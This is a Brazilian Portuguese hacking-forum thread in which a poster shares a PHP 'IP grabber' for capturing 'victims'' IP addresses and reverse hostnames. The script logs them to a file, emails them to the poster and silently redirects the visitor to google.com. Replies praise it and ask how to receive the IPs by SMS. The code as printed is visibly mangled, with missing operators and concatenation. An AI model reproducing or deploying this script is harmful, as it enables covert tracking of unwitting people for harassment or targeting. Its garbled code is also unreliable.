Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Pegar ip das vÍtimas com *php

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Dica Pegar ip das vÍtimas com *php

    Salve vou postar só mais um método de pegar IP das Vítimas com PHP

    Código PHP:
    <?php
    ########################################
    #                                      #
    #             BY Skall                 #
    #                                      #
    ########################################
    error_reporting(0);
    ini_set('display_errors',0);
    //---------------------------------------------------------------------------------\\
    // ENVIA OS DADOS POR EMAIL (OPCIONAL) responda SIM ou NAO
    $resp 'SIM'// Alem de gravar os dados num arquivo, vc quer receber por email ?
    $para 'meu@email.com'// seu email
    //---------------------------------------------------------------------------------\\
    $dia  date('d/m/y'); // pega a data
    $hora date('H:i'); // pega a hora
    $ip   = @getenv('REMOTE_ADDR'); //pega o IP
    $hostname = @gethostbyaddr($ip); // pega o IP reverso
    if($resp === 'SIM'){
    $mgs '<font face=arial>Data: <b>'$dia .'</b> Hora: <b>'$hora .'</b><br>
    IP da V&iacute;tima: <b><font color=red>'
    $ip .'</font></b><br> 
    IP Reverso: <b>'
    $hostname .'</b></font>'
    $assunto 'LOG DE IPS';
    $headers "MIME-Version: 1.1".PHP_EOL;
    $headers .= "Content-type: text/html; charset=iso-8859-1".PHP_EOL;
    $headers .= "From: ".$para.PHP_EOL;
    mail($para$assunto$mgs$headers);
    }
    $file  fopen("IPs_COLETADOS.html""a");
    $escr fwrite($file'<font face=arial>Data: <b>'$dia .'</b> Hora: <b>'$hora .'</b><br>');
    $escr fwrite($file'IP da V&iacute;tima: <b><font color=red>'$ip .'</font></b><br>');
    $escr fwrite($file'IP Reverso: <b>'$hostname .'</font></b><br /><hr>');
    //$escr = fwrite($file, $hostname."\n");
    fclose($file);

    header('Location: http://google.com'); // para onde a vitima sera levada a pos pegar seu IP ?
    ?>

  • Font Size
    #2
    Muitooo bom o código, parabéns amigo .. uma dúvida, tens como fazer receber por SMS o IP??

    Comment


    • Font Size
      #3
      Vlw!!

      Vlw ae por ter compartilhado!!
      Fiz ums pequenos ajustes pessoais e tá funfando que é uma belezura!! Brigadão!!!

      Comment


      • Font Size
        #4
        Legal, mais e difícil achar host gratis que deixe escrever arquivos ou mandar emails.

        Quanto ao código, acho que ficaria melhor colocar $resp como boleano.
        Tipo: $resp = true;
        if($resp){

        Comment

        X
        Working...
        X